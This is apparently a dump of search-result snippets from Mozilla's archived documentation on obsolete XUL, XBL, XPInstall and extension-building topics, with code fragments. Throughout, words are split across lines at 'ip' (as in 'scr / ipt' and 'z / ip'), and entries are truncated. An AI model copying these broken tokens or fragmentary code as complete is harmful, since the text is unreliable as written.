ipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the scr
ipt (barring any other changes made during integration).
Makefile.mozextension.2 - Archive of obsolete content
ension2 make_structure ## (without args for 'all') # note: @echo silent; without @ the command is written in stdout project=test project_name=testworld #~ project_id={xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} project_id=test@testworld.ext project_version=1.0 project_desc="a $(project_name) project with advanced features" project_author=author name # mkdir=$(shell which mkdir) mkdir=/bin/mkdir z
ipprog=/usr/bin/z
ip shell = /bin/sh noop = $(shell) -c true noecho = @ rm_rf=rm -f cp=/bin/cp -i .phony: all all :: make_structure make_files $(noecho) $(noop) package:: make_xpi $(noecho) $(noop) #install :: make_xpi make_install # $(noecho) $(noop) clean :: make_clean $(noecho) $(noop) make_structure: @$(mkdir) $(project) || { echo "creating directory failed; it probably exists.
... either remove (clean it), or choose individual targets to build."; exit 1; } @echo $(mkdir) $(project) $(mkdir) $(project)/content $(project)/locale $(project)/locale/en-us $(project)/components/ $(project)/defaults/ $(project)/defaults/preferences/ $(project)/locale/de-de $(project)/skin make_xpi: $(mkdir) $(project)/chrome && \ cd $(project) && \ $(z
ipprog) -r chrome/$(project).jar content locale skin && \ $(z
ipprog) -r $(project).xpi chrome.manifest install.rdf components defaults chrome && cd ..
...c6} #nvu {136c295a-4a5a-41cf-bf24-5cee526720d5} #mozilla suite {86c18b42-e466-45a9-ae7a-9b95ba6f5640} #seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} #sunbird {718e30fb-e89b-41dd-9da7-e25a45638b28} #netscape browser {3db10fab-e461-4c80-8b97-957ad5f8ea47} ###### define install_rdf <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <descr
iption about="urn:mozilla:install-manifest"> <id>$(project_id)</id> <name>$(project_name)</name> <version>$(project_version)</version> <descr
iption>$(project_desc)</descr
iption> <creator>$(project_author)</creator> <contributor>here is a place for you who helped me</contributor> <homepageurl>http://$(project).mozdev.org/</homepageurl> <optionsurl>chrome://$(project)/content/settings.xul</optionsu...
...rl> <abouturl>chrome://$(project)/content/about.xul</abouturl> <iconurl>chrome://$(project)/skin/mainicon.png</iconurl> <updateurl>http://$(project).mozdev.org/update.rdf</updateurl> <type>2</type> <targetapplication> <descr
iption> <id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</id> <minversion>2.0</minversion> <maxversion>9.0</maxversion> </descr
iption> </targetapplication> </descr
iption> </rdf> endef export install_rdf install.rdf: @echo generating $(project)/install.rdf @echo "$$install_rdf" > $(project)/install.rdf ###### define overlay_xul <overlay id="$(project)-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"><scr
ipt src="overlay.js"/></overlay> ...
Mozilla Application Framework - Archive of obsolete content
xpcom a simple, cross-platform component model with mult
iple language bindings and idl descr
iptions so you can plug your custom functionality into the framework and connect it with other components.
... tools venkman a javascr
ipt debugger with support for breakpoints, conditional breakpoints, local variable inspection, watch variables, single step, stop on error, profile data collection, report generation, code reformatting (pretty printing), and more.
... tinderbox our 24/7 build and test webtool that constantly builds, tests, and reports on the mozilla application suite on mult
iple platforms so you can see the state of the application at any given point in time.
... you can build simple but powerful mozilla-based applications using just javascr
ipt and xul.
Bundles - Archive of obsolete content
webapp bundle in addition to passing simple command line parameters, prism can use a z
ipped bundle package to install a webapp.
... the bundle can hold additional resources currently limited to: application ini settings application icon scr
ipt for the application chrome, not the web content installing a bundle when prism opens a webapp bundle it will unpack it into the webapps/{webapp-id} folder.
...how-to here is a simple way to build a basic web application bundle: create file called webapp.ini that contains something like: [parameters] id=unique-app-id@unique-author-id.whatever name=webapp name uri=http://[the-url-what-you-want-to-connect-to]/ status=yes location=no sidebar=no navigation=no z
ip the file to [whatever].webapp double-click the webapp bundle or use prism -webapp [path-to-webapp] structure a bundle can contain the following files.
...after the .webapp file is executed the first time, these files will be unz
ipped and "cached" to a local directory structure.
New Skin Notes - Archive of obsolete content
--callek add "what not to do" css class to stylesheet, as discussed on talk:core javascr
ipt 1.5 reference.
...--waldo 21:09, 25 aug 2005 (pdt) not going to change (yet or possibly ever) adding p
ipes between buttons in horizontal nav-bar (ie: my talk | preferences | my watchlist) (stricken part is done).
...wik
ipedia's side bar is smaller, btw, probably for the same reasons.
... we definitly need to add some ui to mult
ipage stuff like tutorials.
Supporting per-window private browsing - Archive of obsolete content
getservice(components.interfaces.ns
iprivatebrowsingservice).
... you can use the ns
iprivatebrowsingchannel interface for this purpose.
...var channel = services.io.newchannel("http://example.org", null, null); channel.queryinterface(components.interfaces.ns
iprivatebrowsingchannel); channel.setprivate(true); // force the channel to be loaded in private mode similarly, xmlhttprequest objects created via createinstance(ci.nsixmlhttprequest) will often require explicit adjustment, since they have no context from which to derive a privacy status.
... var xhr = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(components.interfaces.nsixmlhttpreqeust); var channel = xhr.channel.queryinterface(components.interfaces.ns
iprivatebrowsingchannel); channel.setprivate(true); ...
Running Tamarin performance tests - Archive of obsolete content
also for better accuracy tests may be run mult
iple times.
...ests.py [options] [tests] -v --verbose enable additional output -e --avm avmplus command to use -a --asc compiler to use -g --globalabc deprecated but still works - use builtin.abc (used to be location of global.abc) -b --builtinabc location of builtin.abc -s --shellabc location of shell_toplevel.abc -x --exclude comma separated list of directories to sk
ip -h --help display help and exit -t --notime do not generate timestamps (cleaner diffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default os-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --summaryonly only display final summary --rebuildtests rebuild t...
...the /android-public/android-vars.sh scr
ipt has commented-out examples of the environment settings for running tests on the android avm shell.
...if you've correctly edited and run the android-vars.sh scr
ipt mentioned on the tamarin build documentation page you should already be pathed to the adb executable in the public sdk/ndk, but if not it exists at /android-public/android-sdk-mac_86/platform-tools.
The life of an HTML HTTP request - Archive of obsolete content
necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct ns
iprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel).
... (4) the document then creates a ns
iparser for parsing the input stream.
...the parser then parses the stream it gets via its streamlistener interface and converts it to ns
iparsernodes which it places in the contentsink.
...after every parsed block it passes the parsed data as ns
iparsernodes to the contentsink unless the parser has been temporarily blocked, in wich case it waits until it gets unblocked before parsing the cached data it has receieved while being blocked.
Binding Attachment and Detachment - Archive of obsolete content
bindings can be attached to elements through the scr
ipting by assigning the element.style.mozbinding property.
...scr
ipts that invoke this method should not assume that the binding is installed immediately after this method returns.
... the methods and properties of the binding are installed on the element and become available to scr
ipts that reference the bound element.
...this block contains scr
ipt that executes upon completion of the binding attachment.
Event Handlers - Archive of obsolete content
the handler contains scr
ipt that is executed when an event flows to the object the handler is attached to and if that event matches all of the criteria specified by the handler.
...this action can be specified either using an action attribute or by specifying the scr
ipt as a child of the handler element.
...in both cases the javascr
ipt body is compiled just before execution; code that does not depend on the context of the event should be factored into normal javascr
ipt file.
...this allows xbl authors to easily define handlers for right-click, or for left double-click, without having to write scr
ipt on the same handler to differentiate those cases.
Example Sticky Notes - Archive of obsolete content
fax - respond today.</p></div> <div class="sticker"><p>don't forget the eggs!</p></div> <div class="sticker"><p>the new project - who's on charge?</p></div> <div class="sticker"><p>learn more about xbl.</p></div> <p style="clear: left"><a href="http://validator.w3.org/check?uri=referer"><img src="https://udn.realityr
ipple.com/samples/e2/dd625ef1cd.png" width="88" height="31" alt="valid html 4.01" style="border: 1px none"></a></p> </body> </html> notes.xml <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- in above only ...
... stroke-width="1px"> <svg:circle cx="25px" cy="12px" r="12" fill="#ff0000" transform="translate(0,0)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#00ff00" transform="translate(7,12)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#0000ff" transform="translate(-7,12)"/> </svg:g> </svg:svg> <children/> </content> <implementation> <!-- here and futher cdata wrappers around javascr
ipt code are not mandatory but recommended.
... it also speeds up the parsing as the engine doesn't go through cdata sections but simply sk
ip on them.
... * within this block the content is interpreted * as javascr
ipt code.
Install Object - Archive of obsolete content
overview the install object is used primarily in installation scr
ipts.
... in all cases, the install object is implicit--like the window object in regular web page scr
ipts--and needn't be prefixed to the object methods.
... the following two lines, for example, are equivalent: f = getfolder("program"); f = install.getfolder("program"); an installation scr
ipt is composed of calls to the install object, and generally takes the following form: initialize the installation call initinstall with the name of the installation and the necessary registry and version information.
... perform installation check that the files have been added successfully (e.g., by checking the error return codes from many of the main installation methods, and go ahead with the install if everything is in order: performorcancel(); function performorcancel() { if (0 == getlasterror()) performinstall(); else cancelinstall(); } for complete scr
ipt examples, see scr
ipt examples.
Return Codes - Archive of obsolete content
execution_error -203 an error occurred executing the scr
ipt no_install_scr
ipt -204 installation scr
ipt was not signed no_certificate -205 extracted file is not signed or the file (and, therefore, its certificate) could not be found.
... no_matching_certificate -206 extracted file was not signed by the certificate used to sign the installation scr
ipt cant_read_archive -207 xpi package cannot be read invalid_arguments -208 bad parameters to a function illegal_relative_path -209 illegal relative path user_cancelled -210 user clicked cancel on install dialog install_not_started -211 a problem occurred with the parameters to initinstall, or initinstall was not called first silent_mode_denied -212 the silent installation privilege has not been granted.
... package_folder_not_set -224 install folder not set in installation scr
ipt extraction_failed -225 extraction of xpi file failed.
... download_error -228 problem with download scr
ipt_error -229 error in the scr
ipt already_exists -230 file already exists locally is_file -231 expected target directoy and got file source_does_not_exist -232 source file/dir not found source_is_directory -233 expected source file and got directory source_is_file -234 expected source directory and got file insufficient_disk_space -235 ...
XTech 2005 Presentations - Archive of obsolete content
web 1.6: a rope of sand - opening keynote, mike shaver mozilla e4x - brendan eich "ecmascr
ipt for xml" (ecma-357), a new standard for writing and processing xml directly in javascr
ipt (ecma-262, iso-16262).
... e4x marries xml and javascr
ipt syntax, and extends javascr
ipt to include namespaces, qualified names, and xml elements and lists.
... e4x also adds new javascr
ipt operators for filtering xml lists, and for enumerating xml children and descendants.
... directions of the mozilla rdf engine: website scr
ipting, standards conformance and perfomance - axel hecht this presentation showed new developments in the mozilla rdf engine.
collapse - Archive of obsolete content
« xul reference home collapse type: one of the values below determines which side of the splitter is collapsed when its gr
ippy is clicked.
...you should put a gr
ippy element inside the splitter when it is used for collapsing.
... before when the gr
ippy is clicked, the element immediately before the splitter in the same parent is collapsed so that its width or height is 0.
... after when the gr
ippy is clicked, the element immediately after the splitter in the same parent is collapsed so that its width or height is 0.
textbox.onblur - Archive of obsolete content
« xul reference home onblur type: scr
ipt code this event is sent when a textbox loses keyboard focus.
...prior to gecko 1.9 (firefox 3), the scr
ipt code would execute in the context of the anonymous html <input> element inside the textbox binding.
... from gecko 1.9 to gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9), the scr
ipt code would actually execute twice, once in the context of the anonymous html <input> element and once in the context of the <textbox> element itself.
... as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the scr
ipt code only runs in the context of the <textbox> element, matching the behavior of all other event handlers.
textbox.onfocus - Archive of obsolete content
« xul reference home onfocus type: scr
ipt code this event is sent when a textbox receives keyboard focus.
...prior to gecko 1.9 (firefox 3), the scr
ipt code would execute in the context of the anonymous html <input> element inside the textbox binding.
... from gecko 1.9 to gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9), the scr
ipt code would actually execute twice, once in the context of the anonymous html <input> element and once in the context of the <textbox> element itself.
... as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the scr
ipt code only runs in the context of the <textbox> element, matching the behavior of all other event handlers.
Attribute (XUL) - Archive of obsolete content
buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols command commandupdater completedefaultindex container containment contentcontextmenu contenttoolt
ip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset descr
iption dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 en...
...ablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete gr
ippyhidden gr
ippytoolt
iptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtoolt
iptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough m...
...ovetoclick multiline mult
iple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onwizardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid pageincrement pagestep parent parsetype persist persistence phase ...
...pickertoolt
iptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname toolt
ip toolt
iptext toolt
iptextnew top type uri useraction validate value var visuallyselected wait-cursor width windowtype wrap wraparound ...
Working With Directories - Archive of obsolete content
file and stream guide: [ nsiscr
iptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes).
...other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
... a reference to a directory may be created in the same way as with a file by using nsiscr
iptableio.getfile().
...this method returns true if a file object returned by nsiscr
iptableio.getfile() refers to a directory, and false otherwise.
Uploading and Downloading Files - Archive of obsolete content
file and stream guide: [ nsiscr
iptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes).
...other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...this operation can also be performed via a scr
ipt using the xmlhttprequest object.
... a formdata object will automatically generate request data with mime type mult
ipart/form-data that existing servers can process.
Menus - Archive of obsolete content
firefox menus element id descr
iption main-menubar the menubar element.
... firefox context menu element id descr
iption relevant context contentareacontextmenu the popup for the context menu when a web page is displayed in the browser area.
...k bookmarks a link links context-savelink saves a link links context-sendlink sends a link in an email links context-copyemail copies an email address mailto: links context-copylink copies a link links context-viewimage views an image at full size images context-copyimage-contents copies an image to the cl
ipboard images context-copyimage copies the url of an image to the cl
ipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktopbackground sets an image as the desktop background images context-blockimage blocks an image images context-back goes ...
...xt-stop stops loading a page context-bookmarkpage bookmarks a page context-savepage saves a page context-sendpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a background image context-undo undo editable text context-cut cuts to cl
ipboard editable text context-copy copies to cl
ipboard context-paste pastes from cl
ipboard editable text context-delete deletes selection editable text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection ...
ContextMenus - Archive of obsolete content
<menupopup id="ins-del-menu"> <menuitem label="insert"/> <menuitem label="delete"/> </menupopup> </popupset> </window> <grid context="ins-del-menu"> <columns> <column/> <column flex="1"/> </columns> <rows id="rows"> <row align="center"> <label value="name:"/> <textbox/> </row> </rows> </grid> the same context menu can be attached to mult
iple elements.
... <scr
ipt> function showhidedeleteitem() { var deleteitem = document.getelementbyid("delete"); var rows = document.getelementbyid("rows"); deleteitem.hidden = (rows.childnodes.length == 0); } </scr
ipt> <menupopup id="inssel-menu" onpopupshowing="showhidedeleteitem()"> <menuitem label="insert"/> <menuitem id="delete" label="delete"/> </menupopup> in this example, the showhidedeleteitem functi...
...in this example, the triggernode property is checked for a popup attached to a browser to determine whether an image is clicked: <scr
ipt> function showhideitems(aevent) { // aevent.target is the popup for which the popupshowing event fired.
... var element = aevent.target.triggernode; var isimage = (element instanceof components.interfaces.nsiimageloadingcontent && element.currenturi); document.getelementbyid("enlarge").hidden = !isimage; document.getelementbyid("details").hidden = !isimage; } </scr
ipt> <menupopup id="contentareacontextmenu" onpopupshowing="showhideitems(event)"> <menuitem label="copy"/> <menuitem id="enlarge" label="enlarge image"/> <menuitem id="details" label="image details"/> </menupopup> <browser src="http://www.mozilla.org" context="contentareacontextmenu"/> when the popupshowing event is fired, the showhideitems function is called.
Providing Command-Line Options - Archive of obsolete content
see also: xulrunner:commandline overview the code below is an example of writing a javascr
ipt xpcom component to handle command line parameters.
...ndline.js file into the components directory and add the following lines to your chrome.manifest file: component {2991c315-b871-42cd-b33f-bfee4fcbf682} components/commandline.js contract @mozilla.org/commandlinehandler/general-startup;1?type=myapp {2991c315-b871-42cd-b33f-bfee4fcbf682} category command-line-handler m-myapp @mozilla.org/commandlinehandler/general-startup;1?type=myapp the javascr
ipt code const cc = components.classes; const ci = components.interfaces; components.utils.import("resource://gre/modules/xpcomutils.jsm"); components.utils.import("resource://gre/modules/services.jsm"); // changeme: to the chrome uri of your extension or application const chrome_uri = "chrome://myapp/content/"; /** * utility functions */ /** * opens a chrome window.
... * @param aargument an argument to pass to the window (may be null) */ function openwindow(achromeurispec, aargument) { services.ww.openwindow(null, achromeurispec, "_blank", "chrome,menubar,toolbar,status,resizable,dialog=no", aargument); } // command line handler function commandlinehandler() { }; commandlinehandler.prototype = { classdescr
iption: "myapphandler", // changeme: generate a unique id classid: components.id('{2991c315-b871-42cd-b33f-bfee4fcbf682}'), // changeme: change the type in the contractid to be unique to your application contractid: "@mozilla.org/commandlinehandler/general-startup;1?type=myapp", _xpcom_categories: [{ category: "command-line-handler", // changeme: // category names are sorted al...
...meter passed to -viewapp on the command line."); } // changeme: change "myapp" to your command line flag (no argument) if (cmdline.handleflag("myapp", false)) { openwindow(chrome_uri, null); cmdline.preventdefault = true; } }, // changeme: change the help info as appropriate, but // follow the guidelines in nsicommandlinehandler.idl // specifically, flag descr
iptions should start at // character 24, and lines should be wrapped at // 72 characters with embedded newlines, // and finally, the string should end with a newline helpinfo : " -myapp open my application\n" + " -viewapp <uri> view and edit the uri in my application,\n" + " wrapping this descr
iption\n" }; var nsgetfactor...
Static Content - Archive of obsolete content
<menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <tr
iple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <tr
iple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup>...
...this demonstrates how the template builder generates content, and the specifics of how this is done become important when dealing with recursive content and mult
iple rules.
...this becomes useful when using mult
iple rules and we'll see some examples of this later.
... <radiogroup datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" onselect="applyfilter(event.target.value);"> <radio label="all" selected="true"/> <template> <query> <content uri="?start"/> <tr
iple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <tr
iple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <radio uri="?country" label="?countrytitle" value="?country"/> </action> </template> </radiogroup>...
Things I've tried to do with XUL - Archive of obsolete content
vlad: sure; the sn
ippets assume that there's some enclosing structure that will provide the actual height.
...vlad: the boxobject width/height are the actual width and height of the box, regardless of the actual visible portion of the box (cl
ipped by the window borders, for example).
... resize event problems going with the inability to obtain the clientwidth/clientheight of xul elements, it's impossible to handle the "resize" event yourself to grow/shrink content as needed -- as you grow the content, when you shrink the window, the content will simply be cl
ipped (because now it has a bigger size than the window).
... you have no way of finding out what the cl
ipped size is, so you can never shrink the content.
Additional Install Features - Archive of obsolete content
installer file man
ipulation the previous section described a basic installer.
...in addition to the install object, a file object is also available during an installation scr
ipt.
...you can call this function at any point during the installation scr
ipt to determine whether an error occured during the last operation.
...for example, you might put the following as the last section of your scr
ipt: if (getlasterror() == success) { performinstall(); } else { cancelinstall(); } error codes that could be returned by getlasterror() are listed in the mozilla source file nsinstall.h.
Box Objects - Archive of obsolete content
the layout tree holds the structure as the nodes are expected to be displayed there is not necessarily a one to one relationsh
ip between content and layout nodes.
...box objects the layout objects are not accessible to the developer for man
ipulating.
...example 2 : source view <scr
ipt> function showpositionandsize() { var labelbox = document.getelementbyid('thelabel').boxobject; alert("position is (" + labelbox.x + "," + labelbox.y + ") and size is (" + labelbox.width + "," + labelbox.height + ")"); } </scr
ipt> <button label="hide" oncommand="document.getelementbyid('thelabel').hidden = true;"/> <button label="show" oncommand="document.ge...
...next, we'll find out how to use xpcom objects from xul and scr
ipts.
Broadcasters and Observers - Archive of obsolete content
although we could write a scr
ipt to do this, it is quite tedious.
...you can also have only one if you wanted to but that would accomplish very little since the main reason for using broadcasters is to have attributes forwarded to mult
iple places.
... you should only use broadcasters when you need mult
iple elements that observe an attribute.
...the scr
ipt here gets a reference to the broadcaster and changes the style of it to have a color that is red.
Creating Dialogs - Archive of obsolete content
in a scr
ipt used by the dialog, we can then refer to the argument using the window's arguments property.
... example dialog source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" ondialogaccept="return dook();" ondialogcancel="return docancel();"> <scr
ipt> function dook(){ alert("you pressed ok!"); return true; } function docancel(){ alert("you pressed cancel!"); return true; } </scr
ipt> <descr
iption value="select a button"/> </dialog> you may place any elements that you wish in a dialog.
..."my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favourite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <scr
ipt> function dosave(){ //dosomething() return true; } function docancel(){ return true; } </scr
ipt> <dialogheader title="my dialog" descr
iption="example dialog"/> <groupbox flex="1"> <caption label="select favourite fruit"/> <radio id="orange" label="oranges because they are fruity"/> <radio id="violet" selected="true" label="strawberries because of their colour"/> <radio id="yellow" l...
...abel="bananas because they are pre-packaged"/> </groupbox> </dialog> the buttons elements can be accessed with the following javascr
ipt // the accept button var acceptbutt = document.documentelement.getbutton("accept") more examples more examples in dialogs and prompts (code sn
ippets).
Creating a Window - Archive of obsolete content
id="findfile-window" the id attribute is used as an identifier so that the window can be referred to by scr
ipts.
... the correct way, of course, is to open the window using javascr
ipt.
...he syntax is described below: window.open(url,windowname,flags); where the flags contains the flag "chrome" as in this example window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300"); if you are using firefox, try below: window.open("chrome://browser/content/places/places.xul", "bmarks", "chrome,width=600,height=300"); you can test lines of javascr
ipt like these in the error console.
... choose tools – error console, type a line of javascr
ipt, and press the evaluate button, or the return or enter key.
Introduction to XBL - Archive of obsolete content
the following example shows the basic skeleton of an xbl file: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="binding1"> <!-- content, property, method and event descr
iptions go here --> </binding> <binding id="binding2"> <!-- content, property, method and event descr
iptions go here --> </binding> </bindings> the bindings element is the root element of an xbl file and contains one or more binding elements.
...they can be accessed through a scr
ipt.
...they can be called from a scr
ipt.
...the binding can add scr
ipts to provide default handling.
Tree Selection - Archive of obsolete content
otherwise, the user may select mult
iple rows, which will not necessarily be contiguous.
...mult
iple selection for trees that allow mult
iple selection, getting the list of selected rows is a bit more complicated.
...because the selected items in a mult
iple selection tree are not necessarily contiguous, you can retrieve each block of contigous selections using the getrangecount() and getrangeat() functions.
...naturally, this will only have any effect for trees that use mult
iple selection.
Using nsIXULAppInfo - Archive of obsolete content
this is not useful for scr
ipts on webpages, which should continue using the navigator object when it's not possible to rely on feature-detection.
...the following sections provide a few examples of using nsixulappinfo from javascr
ipt.
...for complete list of nsixulappinfo's properties, please see nsixulappinfo interface descr
iption.
...tappid() { var id; if("@mozilla.org/xre/app-info;1" in components.classes) { // running under mozilla 1.8 or later id = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo).id; } else { try { id = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.ns
iprefbranch) .getcharpref("app.id"); } catch(e) { // very old version dump(e); } } return id; } alert(getappid()); see also mxr: nsixulappinfo.idl ...
XUL FAQ - Archive of obsolete content
are scr
ipt tags in prefpanes closed properly?
... does scr
ipt outside <prefpane> refer to any element in <prefpane>?
... (the animation effect when you open the preference window will not stop, if a scr
ipt outside <prefpane> refers any element inside <prefpane>, while initializing the window.
... if you want to access elements inside <prefpane>, you should put scr
ipt in the <prefpane> or write scr
ipt into "onpaneload" of the <prefpane>.) note, that prefwindow only works in chrome xul.
iframe - Archive of obsolete content
frame"/> selecting an url from a menu <menulist oncommand="donav(this);"> <menupopup> <menuitem label="mozilla" value="http://mozilla.org" /> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net" /> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> <iframe id="myframe" flex="1"/> <scr
ipt> function donav(obj) { var url = obj.selecteditem.value; // note the firstchild is the menupopup element document.getelementbyid('myframe').setattribute('src', url); } </scr
ipt> attributes showcaret type: boolean whether or not to cause a typing caret to be visible in the content area.
...this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the princ
ipal of the parent document.
...this is the preferred value for any browser element in an application, which will use mult
iple browsers of equal privileges, and is unselected at the moment.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
label - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
... related elements descr
iption attributes label interfaces nsiaccessibleprovider, nsidomxullabelelement notes labels are not focusable note: starting in gecko 2.0, labels are properly not focusable.
...<label control="email">email address</label> <textbox id="email"/> if the text node contains no tags, it can easily be accessed and man
ipulated from javascr
ipt using node.textcontent.
listcell - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
... t
ips if you need to right-align a cell's contents, you can do so like this: cell = document.createelement("listcell"); cell.setattribute("label", "this is the cell's label"); cell.setattribute("style", "text-align:right"); related elements listbox, listcol, listcols, listhead, listheader, listitem ...
menubar - Archive of obsolete content
attributes gr
ippyhidden, statusbar properties accessibletype, statusbar examples <menubar id="sample-menubar"> <menu id="action-menu" label="action"> <menupopup id="action-popup"> <menuitem label="new"/> <menuitem label="save" disabled="true"/> <menuitem label="close"/> <menuseparator/> <menuitem label="quit"/> </menupopup> </menu> <menu id="edit-menu" label=...
..."edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes gr
ippyhidden seamonkey only type: boolean when set to true, the gr
ippy will be hidden.
... when set to false, the default, the gr
ippy will be shown.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
